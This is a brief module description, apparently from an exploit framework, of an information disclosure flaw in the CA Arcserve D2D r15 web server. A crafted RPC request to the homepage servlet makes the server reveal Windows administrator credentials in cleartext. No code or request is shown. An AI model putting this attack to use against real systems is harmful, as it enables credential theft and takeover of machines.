  					This module exploits an information disclosure vulnerability in the CA Arcserve 
  				D2D r15 web server. The information disclosure can be triggered by sending a 
  				specially crafted RPC request to the homepage servlet. This causes CA Arcserve to
  				disclosure the username and password in cleartext used for authentication. This
  				username and password pair are Windows credentials with Administrator access.
